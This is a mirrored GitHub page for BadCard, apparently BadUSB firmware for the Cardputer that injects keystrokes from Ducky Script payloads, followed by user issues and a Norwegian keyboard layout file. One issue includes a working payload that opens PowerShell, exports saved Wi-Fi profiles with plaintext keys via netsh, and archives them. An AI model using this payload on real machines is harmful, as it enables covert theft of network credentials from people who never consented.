Code Monkey home page Code Monkey logo

badcard's Introduction

BadCard

BadUSB for the Cardputer with ducky script support and extra functionality

Ducky Script processing and executing ported from arducky

NEW FEATURES

  • Bluetooth connection
  • File editing (Thanks to @guidoaguiar)
  • Horizontal file navigation
  • Multiple Keyboard layouts (en_US, es_ES, de_DE, pt_PT, fr_FR, sv_SE, it_IT, hu_HU, da_DK, pt_BR, en_GB, nb_NO) only for USB connection for now.

You can contribute to BadCard by creating your own keyboard layouts following this guide: How to create a keyboard layout for BadCard

If you're having trouble executing your payloads on Windows 11 try adding a DELAY 500 at the end of your payload #1 (comment)

How to use

You can place your payloads inside the /BadCard folder on your SD card (It will be created automatically after installing BadCard)
Your files should use the .txt extension.

OR

You can make your own payloads in your cardputer with the "NEW FILE" option

Available commands
 (1) Commands without payload:
 - ENTER
 - MENU <=> APP
 - DOWNARROW <=> DOWN
 - LEFTARROW <=> LEFT
 - RIGHTARROW <=> RIGHT
 - UPARROW <=> UP
 - BREAK <=> PAUSE
 - CAPSLOCK
 - DELETE
 - END
 - ESC <=> ESCAPE
 - HOME
 - INSERT
 - NUMLOCK
 - PAGEUP
 - PAGEDOWN
 - PRINTSCREEN
 - SCROLLLOCK
 - SPACE
 - TAB
 - REPLAY (global commands aren't implemented)
 
 (2) Commands with payload:
 - DEFAULT_DELAY <=> DEFAULTDELAY (global commands aren't implemented.)
 - DELAY (+int)
 - STRING (+string)
 - GUI <=> WINDOWS (+char)
 - SHIFT (+char or key)
 - ALT (+char or key)
 - CTRL <=> CONTROL (+char or key)
 - REM (+string)

File creating/editing controls

  • You can navigate your file pressing fn and the up, down, left or right keys (aka ;, ., , or /)
  • When you're finished creating your file press fn and esc, add the name of your file and press enter (you don't need to add the .txt extension)

badcard's People

Contributors

guidoaguiar avatar voidnoi avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

badcard's Issues

Issue with STRING

Hello

First off all thank you! This is the thing I wanted the most in the Cardputer!
I do have some issues though. In the example below the last string is not written. I have tested a few variants with different text and writing into different programs.

I don't know much about programming the Cardputer, but tell me if i can help out with something.

DELAY 3000
GUI r
DELAY 1000
STRING powershell
DELAY 500
ENTER
DELAY 3000
STRING hello

BR!

Subfolder Navigation

I would really love the ability to navigate through folders inside of /Badcard

eg: /Badcard/Windows -> select script.

File for Norwegian keyboard

Hello! finally got myself around to making the file for the Norwegian keyboard! There are a few slight changes from the Swedish one i used.

Thanks for all the great work you are doing!

KeyboardLayouts_NO.h

/*
* Norwegian keyboard layout.
*/

#include "KeyboardLayout.h"

#pragma once

//================================================================================
//================================================================================
//  Keyboard

// nb_NO keys
#define KEY_A_RING        (136+0x2f)
#define KEY_A_UMLAUT      (136+0x34)
#define KEY_O_UMLAUT      (136+0x33)
#define KEY_UMLAUT        (136+0x30)
#define KEY_ACUTE_ACC     (136+0x2e)

#define AMOUNT_OF_SPECIAL_CHARS 11

extern const char16_t KeyboardLayout_nb_NO_special_characters[AMOUNT_OF_SPECIAL_CHARS] PROGMEM = {
u'æ',
u'ø',
u'å',
u'¨',
u'´',
u'Æ',
u'Ø',
u'Å',
u'^',
u'~',
u'`'
};

extern const uint16_t KeyboardLayout_nb_NO_special_keycodes[AMOUNT_OF_SPECIAL_CHARS] PROGMEM = {
KEY_A_RING,
KEY_A_UMLAUT,
KEY_O_UMLAUT,
KEY_UMLAUT,
KEY_ACUTE_ACC,
KEY_A_RING | U16SHIFT,
KEY_A_UMLAUT | U16SHIFT,
KEY_O_UMLAUT | U16SHIFT,
KEY_UMLAUT | U16SHIFT,
KEY_UMLAUT | ALT_GR,
KEY_ACUTE_ACC | U16SHIFT
};

extern const uint8_t KeyboardLayout_nb_NO[128] PROGMEM =
{
  0x00,          // NUL
  0x00,          // SOH
  0x00,          // STX
  0x00,          // ETX
  0x00,          // EOT
  0x00,          // ENQ
  0x00,          // ACK
  0x00,          // BEL
  0x2a,          // BS  Backspace
  0x2b,          // TAB Tab
  0x28,          // LF  Enter
  0x00,          // VT
  0x00,          // FF
  0x00,          // CR
  0x00,          // SO
  0x00,          // SI
  0x00,          // DEL
  0x00,          // DC1
  0x00,          // DC2
  0x00,          // DC3
  0x00,          // DC4
  0x00,          // NAK
  0x00,          // SYN
  0x00,          // ETB
  0x00,          // CAN
  0x00,          // EM
  0x00,          // SUB
  0x00,          // ESC
  0x00,          // FS
  0x00,          // GS
  0x00,          // RS
  0x00,          // US

  0x2c,          // ' '
  0x1e|SHIFT,    // !
  0x1f|SHIFT,    // "
  0x20|SHIFT,    // #
  0x21|ALT_GR,   // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x31,          // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x31|SHIFT,    // *
  0x2d,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,    // :
  0x36|SHIFT,    // ;
  0x32,          // <
  0x27|SHIFT,    // =
  0x32|SHIFT,    // >
  0x2d|SHIFT,    // ?
  0x1f|ALT_GR,   // @
  0x04|SHIFT,    // A
  0x05|SHIFT,    // B
  0x06|SHIFT,    // C
  0x07|SHIFT,    // D
  0x08|SHIFT,    // E
  0x09|SHIFT,    // F
  0x0a|SHIFT,    // G
  0x0b|SHIFT,    // H
  0x0c|SHIFT,    // I
  0x0d|SHIFT,    // J
  0x0e|SHIFT,    // K
  0x0f|SHIFT,    // L
  0x10|SHIFT,    // M
  0x11|SHIFT,    // N
  0x12|SHIFT,    // O
  0x13|SHIFT,    // P
  0x14|SHIFT,    // Q
  0x15|SHIFT,    // R
  0x16|SHIFT,    // S
  0x17|SHIFT,    // T
  0x18|SHIFT,    // U
  0x19|SHIFT,    // V
  0x1a|SHIFT,    // W
  0x1b|SHIFT,    // X
  0x1c|SHIFT,    // Y
  0x1d|SHIFT,    // Z
  0x25|ALT_GR,   // [
  0x2e,		  // bslash
  0x26|ALT_GR,   // ]
  0x00,          // ^  not supported (requires dead key + space)
  0x38|SHIFT,    // _
  0x00,          // `  not supported (requires dead key + space)
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x24|ALT_GR,   // {
  0x35,		  // |
  0x27|ALT_GR,   // }
  0x00,          // ~  not supported (requires dead key + space)
  0x00           // DEL
};

class KeyboardLayout_NO : public KeyboardLayout
{
public:
KeyboardLayout_NO()
{
}
~KeyboardLayout_NO(){};
const uint8_t *getKeymap()
{
  return KeyboardLayout_nb_NO;
}
/**
 * @brief Returns the keycode for the given key
 *
 * @param key Key value as string
 * @return Key code if possible
 */
uint16_t getKeycode(char16_t key)
{
  Serial.print("Keycode");
  uint16_t specialKeyCode = isSpecialKey(key);
  
  Serial.println(specialKeyCode);
  // Check if special key is in the map
  if (specialKeyCode != 0)
    {
  return specialKeyCode;
    }
  // No special key use the normal layout
  else
    {
  if (key < 128)
   {
     return KeyboardLayout_nb_NO[key];
   }
  // Could not match code
  return 0;
    }
}

uint16_t isSpecialKey(char16_t key)
{
  uint16_t keycode = 0;
  for (int i = 0; i < AMOUNT_OF_SPECIAL_CHARS; i++)
    {
  Serial.print("Searching key: ");
  Serial.println(key);
  Serial.print("Comparing with list: ");
  Serial.println((char16_t)KeyboardLayout_nb_NO_special_characters[i]);
  
  if (key == KeyboardLayout_nb_NO_special_characters[i])
   {
     Serial.println("Compare keys");
     Serial.println(key);
     Serial.println((char16_t)KeyboardLayout_nb_NO_special_characters[i]);
     Serial.println((char)key);
     Serial.println((char)KeyboardLayout_nb_NO_special_characters[i]);
     
     
     keycode = KeyboardLayout_nb_NO_special_keycodes[i];
     Serial.println(keycode);
     break;
   }
    }
  return keycode;
}

protected:
};

Payload Issue - After String No Enter

So I have an issue with executing a payload with BadCard.
Whenever I execute this payload:

DELAY 500
WINDOWS r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 500
STRING $u=(gc env:\userprofile).value+'\WG '+ (Get-Date -Format FileDateTime); $f=ni -Path $u -ItemType Directory -EA 0; netsh wlan export profile key=clear folder=$($f.FullName); Compress-Archive -Path $f.FullName -DestinationPath "D:\WP\WP.zip";
DELAY 1000
ENTER

It will put the last string in powershell but it wont press enter.
How can I fix this?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.